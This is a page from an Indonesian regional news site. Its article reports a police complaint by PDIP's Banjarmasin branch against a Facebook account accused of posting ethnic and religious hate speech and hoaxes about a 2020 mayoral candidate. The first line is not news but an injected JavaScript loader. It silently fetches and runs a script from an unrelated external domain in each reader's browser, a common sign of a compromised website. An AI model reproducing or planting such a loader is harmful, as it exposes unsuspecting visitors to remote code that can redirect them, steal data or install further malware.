(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sebuah akun media sosial Facebook dilaporkan postingan dugaan ujaran kebencian yang diduga menyinggung suku, agama, ras dan antargolongan (Sara). Unggahan di media sosial itu dilaporkan karena menyudutkan salah satu pasangan calon (paslon) Pilkada Banjarmasin dan partai politik pengusung.
Unggahan bernada Sara itupun memantik reaksi keras dari DPC PDIP Kota Banjarmasin, dimana mereka merasa dirugikan akibat unggahan postingan tersebut.
Hal ini diungkapkan oleh Wakil Ketua Bidang Polhukam DPC PDIP Kota Banjarmasin Rizki Eri Munadi, usai membuat laporan di Satreskrim Polresta Banjarmasin, Selasa (22/9/2020) pagi.
“Kami melaporkan kasus dugaan pelanggaran UU ITE yang mencatut PDIP dengan berita yang tidak benar di salah satu akun media sosial Facebook dengan nama Ryan Saputra,” tutur Rizki.
Menurutnya, barang bukti yang disertakan dari pelaporan ini yaitu hasil tangkapan layar yang memuat unggahan diduga ujaran kebencian dan fitnah itu.
Tangkapan layar di akun Facebook yang dilaporkan DPC PDIP Banjarmasin. foto: dpc pdip banjarmasin
“Dugaan kami, tujuan dari postingan ini masih berkaitan dengan Pilkada 2020 di Kota Banjarmasin. Salah satunya mencatut nama salah satu paslon Wali Kota Banjarmasin pak Ibnu Sina dan juga menyertak0an logo PDIP dengan hal-hal yang berbau hoaks dan menyesatkan,” papar Rizki.
Tentunya, DPC PDIP Kota Banjarmasin merasa dirugikan, lantaran unggahan dari akun Facebook Ryan Saputra dinilai tidak benar. Karena dikhawatirkan akan terjadi penggiringan opini terkait dugaan isu yang diunggah oleh akun Facebook ini.
“Hari ini kami reaksioner, menyikapi dengan mengambil langkah hukum, agar ada efek jera di masyarakat dan pendidikan kepada masyarakat dalam menggunakan media sosial,” tegasnya.
Rizki juga menambahkan, akun Facebook Ryan Saputra sudah tidak dapat diakses lagi. Namun demikian, pihaknya telah mengantongi hasil tangkapan layar dan link URL dari unggahan dugaan ujaran kebencian itu.
Hingga berita ini ditulis, Kanalkalimantan.com tengah menunggu konfirmasi dari Kasat Reskrim Polresta Banjarmasin AKP Alfian Tri Permadi terkait laporan dugaan ujaran kebencian yang dilaporkan oleh DPC PDIP Kota Banjarmasin. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.